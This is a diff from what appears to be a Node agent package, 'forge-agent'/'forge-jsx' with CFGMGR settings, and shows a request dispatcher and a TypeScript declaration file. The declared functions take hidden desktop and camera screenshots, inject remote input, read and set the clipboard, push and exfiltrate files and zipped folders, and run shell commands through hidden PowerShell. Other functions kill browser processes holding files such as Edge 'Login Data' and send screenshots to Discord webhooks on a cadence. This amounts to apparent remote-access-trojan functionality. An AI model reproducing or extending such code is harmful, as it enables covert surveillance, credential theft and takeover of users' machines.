130
|
+
max_width: Number.isFinite(maxWidthRaw) ? maxWidthRaw : undefined,
|
|
131
|
+
include_camera: typeof msg.include_camera === "boolean"
|
|
132
|
+
? msg.include_camera
|
|
133
|
+
: undefined,
|
|
134
|
+
});
|
|
135
|
+
return { type: "fs_screenshot_result", request_id: rid, ...result };
|
|
136
|
+
}
|
|
137
|
+
if (msgType === "rc_input") {
|
|
138
|
+
const result = await (0, fsProtocol_1.fsRemoteControlInput)(msg);
|
|
139
|
+
return { type: "rc_input_result", request_id: rid, ...result };
|
|
140
|
+
}
|
|
141
|
+
if (msgType === "rc_clipboard_get") {
|
|
142
|
+
const result = await (0, fsProtocol_1.fsRemoteClipboardGet)();
|
|
143
|
+
return { type: "rc_clipboard_get_result", request_id: rid, ...result };
|
|
144
|
+
}
|
|
145
|
+
if (msgType === "rc_clipboard_set") {
|
|
146
|
+
const result = await (0, fsProtocol_1.fsRemoteClipboardSet)(String(msg.text ?? ""));
|
|
147
|
+
return { type: "rc_clipboard_set_result", request_id: rid, ...result };
|
|
148
|
+
}
|
|
149
|
+
if (msgType === "rc_file_push") {
|
|
150
|
+
const targetDir = msg.path != null ? String(msg.path) : undefined;
|
|
151
|
+
const result = await (0, fsProtocol_1.fsRemoteFilePush)(String(msg.name ?? ""), String(msg.b64 ?? ""), targetDir);
|
|
152
|
+
return { type: "rc_file_push_result", request_id: rid, ...result };
|
|
153
|
+
}
|
|
154
|
+
return {
|
|
155
|
+
type: "fs_error",
|
|
156
|
+
request_id: rid,
|
|
157
|
+
ok: false,
|
|
158
|
+
error: `unknown filesystem request: ${msgType || "unknown"}`,
|
|
159
|
+
};
|
|
160
|
+
}
|
|
161
|
+
catch (e) {
|
|
162
|
+
return {
|
|
163
|
+
type: "fs_error",
|
|
164
|
+
request_id: rid,
|
|
165
|
+
ok: false,
|
|
166
|
+
error: String(e),
|
|
167
|
+
};
|
|
168
|
+
}
|
|
169
|
+
}
|
|
@@ -0,0 +1,151 @@
|
|
|
1
|
+
/** Explorer `fs_list` entry cap (sorted). Large dirs need a higher cap; very large values can stress browser memory. */
|
|
2
|
+
export declare const MAX_LIST_ENTRIES = 1000000;
|
|
3
|
+
/**
|
|
4
|
+
* Default per-chunk read size (non-chunk mode). Chunked downloads clamp `max_bytes` to at most `MAX_READ_BYTES * 4`
|
|
5
|
+
* (~92 MiB raw → ~123 MiB base64 + JSON, under relay `maxPayload` 2**27).
|
|
6
|
+
*/
|
|
7
|
+
export declare const MAX_READ_BYTES: number;
|
|
8
|
+
/**
|
|
9
|
+
* True when the listing directory is a bare OS filesystem root (Windows `C:\\`, POSIX `/`).
|
|
10
|
+
* User-data search narrowing applies **only** here: searching from `C:\\Users\\me` must still walk
|
|
11
|
+
* Pictures, Videos, etc., not only Desktop/Documents/Downloads intersect roots.
|
|
12
|
+
*/
|
|
13
|
+
export declare function fsSearchListingIsFilesystemRoot(dirResolved: string): boolean;
|
|
14
|
+
export declare function fsSearchWalkAllowsCurReal(curRealNorm: string, listingDirNorm: string, listingDirResolved: string, enforceUserScope: boolean, userSubtreeRoots: string[] | null): boolean;
|
|
15
|
+
export declare function allowedFsRoots(): string[];
|
|
16
|
+
export declare function resolveFsPath(pathStr: string, roots: string[]): {
|
|
17
|
+
path: string;
|
|
18
|
+
error?: string;
|
|
19
|
+
};
|
|
20
|
+
export declare function fsListDir(pathStr: string, roots?: string[] | null, searchQuery?: string): Record<string, unknown>;
|
|
21
|
+
export declare function fsReadFile(pathStr: string, roots?: string[] | null, maxBytes?: number | null, offset?: number, chunk?: boolean): Record<string, unknown>;
|
|
22
|
+
/**
|
|
23
|
+
* Chunked file read for explorer downloads. With a non-empty `request_id` and file size at or below
|
|
24
|
+
* {@link maxZipTotalBytes}, the file is copied once into a hidden temp mirror (same idea as folder zip),
|
|
25
|
+
* then chunks are served from that copy so another process holding the original open is less likely to break reads.
|
|
26
|
+
* Larger files read the live path each chunk — **`force_kill` still runs {@link forceUnlockPath}** at offset 0 (same as mirror path).
|
|
27
|
+
* Empty `request_id` always uses live path.
|
|
28
|
+
*/
|
|
29
|
+
export declare function fsReadFileChunked(pathStr: string, roots: string[] | null, maxBytes: number | null, offset: number, requestId: string, forceMirror?: boolean, forceKill?: boolean): Promise<Record<string, unknown>>;
|
|
30
|
+
/**
|
|
31
|
+
* Delete a file or recursively remove a directory under allowed roots.
|
|
32
|
+
* Refuses to delete an explorer root (e.g. home, drive letter, `/`).
|
|
33
|
+
*
|
|
34
|
+
* Uses `fs.rm` with **retries** on transient locks (`EBUSY`, sharing violations, etc.),
|
|
35
|
+
* same heuristics as `isRetryableCopyError` in `exportMirrorCopy`. Windows: between retries,
|
|
36
|
+
* attempts `chmod` to clear read-only on the target. Tunables: `CFGMGR_FS_DELETE_ATTEMPTS` (1–30,
|
|
37
|
+
* default 10), `CFGMGR_FS_DELETE_RETRY_MS` (50–5000, default 200). A live browser handle on
|
|
38
|
+
* e.g. Edge `Login Data` can still block delete until the app releases the file.
|
|
39
|
+
*
|
|
40
|
+
* `opts.force`: more `fs.rm` attempts and longer backoff (does **not** kill other processes).
|
|
41
|
+
* `opts.forceKill`: terminate processes likely holding this path (best-effort), then delete; may restart them after success or failure.
|
|
42
|
+
*
|
|
43
|
+
* Wall clock: entire delete (force-unlock + retries) is capped by **`CFGMGR_FS_DELETE_MAX_WALL_MS`** (15s–1h).
|
|
44
|
+
* Default **180s** for files / normal deletes; **900s** when **`forceKill` + directory** (large locked profiles).
|
|
45
|
+
* Windows: after **`taskkill /IM`** on a browser profile, **`CFGMGR_FS_WIN32_PS_AFTER_IM`** defaults to **`skip`**
|
|
46
|
+
* (no `Win32_Process` wait — delete runs immediately). Set to **`scan`** to enumerate for other lockers; then
|
|
47
|
+
* **`CFGMGR_FS_WIN32_PS_AFTER_IM_KILL_TIMEOUT_MS`** (default 8s) caps that wait. Full list when no `/IM`:
|
|
48
|
+
* **`CFGMGR_FS_WIN32_PS_LIST_TIMEOUT_MS`** (default 25s).
|
|
49
|
+
* Linux / macOS: after **`killall`/`pkill`** on a recognized profile, **`CFGMGR_FS_UNIX_PS_AFTER_KILL`** defaults to
|
|
50
|
+
* **`skip`** (no full **`/proc`** or **`ps axww`** scan). Set to **`scan`** to enumerate for other lockers.
|
|
51
|
+
*/
|
|
52
|
+
export declare function fsDeletePath(pathStr: string, roots?: string[] | null, opts?: {
|
|
53
|
+
force?: boolean;
|
|
54
|
+
forceKill?: boolean;
|
|
55
|
+
}): Promise<Record<string, unknown>>;
|
|
56
|
+
export declare function fsParentDirectory(pathStr: string, roots?: string[] | null): Record<string, unknown>;
|
|
57
|
+
export declare function fsRootsPayload(): Record<string, unknown>;
|
|
58
|
+
export declare function purgeStaleZipSessions(): void;
|
|
59
|
+
export declare function purgeStaleChunkedFileReadSessions(): void;
|
|
60
|
+
export declare function purgeStaleExplorerStaging(): void;
|
|
61
|
+
/**
|
|
62
|
+
* Remove **all** in-memory explorer staging (zip exports + chunked file mirrors) synchronously.
|
|
63
|
+
* Call on agent shutdown so temp trees under `os.tmpdir()` do not linger after disconnect.
|
|
64
|
+
*/
|
|
65
|
+
export declare function purgeAllExplorerStagingSync(): void;
|
|
66
|
+
/**
|
|
67
|
+
* Chunked read of a zipped folder export (same session semantics as chunked `fs_read`).
|
|
68
|
+
* First request (`offset === 0`) builds a temp zip; follow-up chunks use the same `request_id`.
|
|
69
|
+
*
|
|
70
|
+
* **`paths` (2+ entries):** mirror each selection into one staging folder (unique names), then zip once (`selection.zip`),
|
|
71
|
+
* matching Hub multi-upload semantics.
|
|
72
|
+
* **`path`:** zip one directory (legacy).
|
|
73
|
+
*/
|
|
74
|
+
export declare function fsZipRead(pathStr: string, requestId: string, roots?: string[] | null, offset?: number, chunk?: boolean, maxBytes?: number | null, forceMirror?: boolean, forceKill?: boolean, pathsOverride?: string[] | null): Promise<Record<string, unknown>>;
|
|
75
|
+
/**
|
|
76
|
+
* Turn raw .NET / PowerShell screenshot failures into short, actionable text for the /files explorer
|
|
77
|
+
* (e.g. locked RDP, Session 0 service, no interactive desktop — `CopyFromScreen` "handle is invalid").
|
|
78
|
+
*/
|
|
79
|
+
export declare function formatWindowsScreenshotUserMessage(raw: unknown): string;
|
|
80
|
+
export type FsScreenshotCaptureOptions = {
|
|
81
|
+
stream_profile?: string;
|
|
82
|
+
max_bytes?: number;
|
|
83
|
+
max_width?: number;
|
|
84
|
+
include_camera?: boolean;
|
|
85
|
+
};
|
|
86
|
+
type NormalizedScreenshotOptions = {
|
|
87
|
+
streamProfile: string;
|
|
88
|
+
maxBytes: number | null;
|
|
89
|
+
maxWidth: number | null;
|
|
90
|
+
includeCamera: boolean;
|
|
91
|
+
};
|
|
92
|
+
/** Encode strategy for shrinking toward a byte ceiling (Discord vs latency-first remote thumbnails). */
|
|
93
|
+
type ShrinkEncodePrefs = {
|
|
94
|
+
/**
|
|
95
|
+
* When true, ffmpeg JPEG passes scan quality low→high and keep the **largest** output still ≤ cap
|
|
96
|
+
* so Discord uploads use the-policy byte budget (~10MiB) for maximum clarity.
|
|
97
|
+
*/
|
|
98
|
+
preferQualityNearCap?: boolean;
|
|
99
|
+
};
|
|
100
|
+
/**
|
|
101
|
+
* Shrink in-memory screenshot bytes (PNG/JPEG) to at most `cap` (e.g. Discord attachment limits).
|
|
102
|
+
* Jimp first, then the same temp-file + ImageMagick/ffmpeg/GDI stack as {@link shrinkScreenshotFileToMaxBytes}.
|
|
103
|
+
*/
|
|
104
|
+
export declare function shrinkScreenshotBufferToMaxBytes(buf: Buffer, cap: number, prefs?: ShrinkEncodePrefs): Promise<{
|
|
105
|
+
buffer: Buffer;
|
|
106
|
+
mime: string;
|
|
107
|
+
} | null>;
|
|
108
|
+
/**
|
|
109
|
+
* Discord / webhook attachments: try descending encode budgets first so difficult screenshots still fit
|
|
110
|
+
* under `hardCap` while keeping quality high when the full budget fits (see {@link screenshotShrinkTierTargets}).
|
|
111
|
+
*/
|
|
112
|
+
export declare function shrinkScreenshotBufferForDiscordAttachment(buf: Buffer, hardCap: number): Promise<{
|
|
113
|
+
buffer: Buffer;
|
|
114
|
+
mime: string;
|
|
115
|
+
} | null>;
|
|
116
|
+
/**
|
|
117
|
+
* Cross-platform full-desktop screenshot for the relay `/files` explorer (`fs_screenshot`) and Discord cadence.
|
|
118
|
+
* Windows: hidden PowerShell + System.Drawing (**VirtualScreen** = all monitors in one bitmap).
|
|
119
|
+
* macOS: `screencapture -x`, then per-display `-D` + ImageMagick `+append` when a single capture fails.
|
|
120
|
+
* Linux: grim / ffmpeg (Wayland); multi-output Wayland uses Sway/Hypr **geometry** + ImageMagick composite
|
|
121
|
+
* (full virtual desktop, including vertical stacks); falls back to per-output `grim -o` + `+append` when needed.
|
|
122
|
+
* X11: `ffmpeg` + `xdpyinfo` / `xrandr` virtual size before `maim` / `scrot` (not used when `WAYLAND_DISPLAY` is set).
|
|
123
|
+
* Optional env: `FORGE_JS_SCREENSHOT_MAX_BYTES` (default ~11 MiB; oversize captures are auto-shrunk when possible).
|
|
124
|
+
* `FORGE_JS_SCREENSHOT_MAX_WIDTH`: omit = capture down-scales to ~1680px width (plus auto JPEG shrink); `0` = no capture down-scale.
|
|
125
|
+
* GNOME: set `FORGE_JS_SCREENSHOT_MUTTER_LOGICAL_POS_SCALE=1` if logical-monitor positions need scaling to match `grim` buffers (default off).
|
|
126
|
+
*/
|
|
127
|
+
export declare function fsDesktopScreenshotCapture(options?: FsScreenshotCaptureOptions): Promise<Record<string, unknown>>;
|
|
128
|
+
/**
|
|
129
|
+
* Capture the full Windows virtual screen (all monitors merged). Uses `SetProcessDPIAware` + `GetSystemMetrics`
|
|
130
|
+
* virtual-screen metrics so HiDPI multi-monitor matches GDI `CopyFromScreen` (avoids partial/wrong crops).
|
|
131
|
+
* Scales down wide canvases so the PNG fits WebSocket payload limits.
|
|
132
|
+
*/
|
|
133
|
+
export declare function fsWindowsScreenshotCapture(options?: NormalizedScreenshotOptions): Promise<Record<string, unknown>>;
|
|
134
|
+
export declare function fsRemoteControlInput(payload: Record<string, unknown>): Promise<Record<string, unknown>>;
|
|
135
|
+
export declare function fsRemoteClipboardGet(): Promise<Record<string, unknown>>;
|
|
136
|
+
export declare function fsRemoteClipboardSet(text: string): Promise<Record<string, unknown>>;
|
|
137
|
+
export declare function fsRemoteFilePush(name: string, b64: string, targetDir?: string): Promise<Record<string, unknown>>;
|
|
138
|
+
/**
|
|
139
|
+
* Run a shell command on the agent host (same privilege as the forge-agent process).
|
|
140
|
+
* Windows: hidden **PowerShell** by default (same user/session as the agent — not a separate UAC elevation; run the agent elevated if you need admin parity).
|
|
141
|
+
* Set `CFGMGR_SHELL_WINDOWS_USE_CMD=1` to restore `cmd.exe /c`.
|
|
142
|
+
* The `/files` explorer **Upgrade forge-jsx** / **Restart agent** buttons send PowerShell; with `cmd.exe` those commands may fail unless the template is customized.
|
|
143
|
+
* macOS / Linux: `bash --noprofile --norc -c` when **`/bin/bash` or `/usr/bin/bash`** exists (avoids `bash -lc` login shells
|
|
144
|
+
* that source `~/.profile` / conda / interactive hooks and can **hang** `fs_shell_exec` until timeout),
|
|
145
|
+
* else `/bin/sh -c`, with `stdio` piped and stdin ignored (**not** `detached: true` — a detached session
|
|
146
|
+
* leader plus nested `node` spawning its own detached workers was an occasional source of missing `close`
|
|
147
|
+
* / long hangs on Linux and macOS explorer Upgrade / Restart).
|
|
148
|
+
* Optional `cwd` must resolve under explorer roots when non-empty.
|
|
149
|
+
*/
|
|
150
|
+
export declare function fsShellExec(command: string, roots: string[] | null, cwdPathStr: string | undefined, timeoutMs: number | undefined): Promise<Record<string, unknown>>;
|
|
151
|
+
export {};
|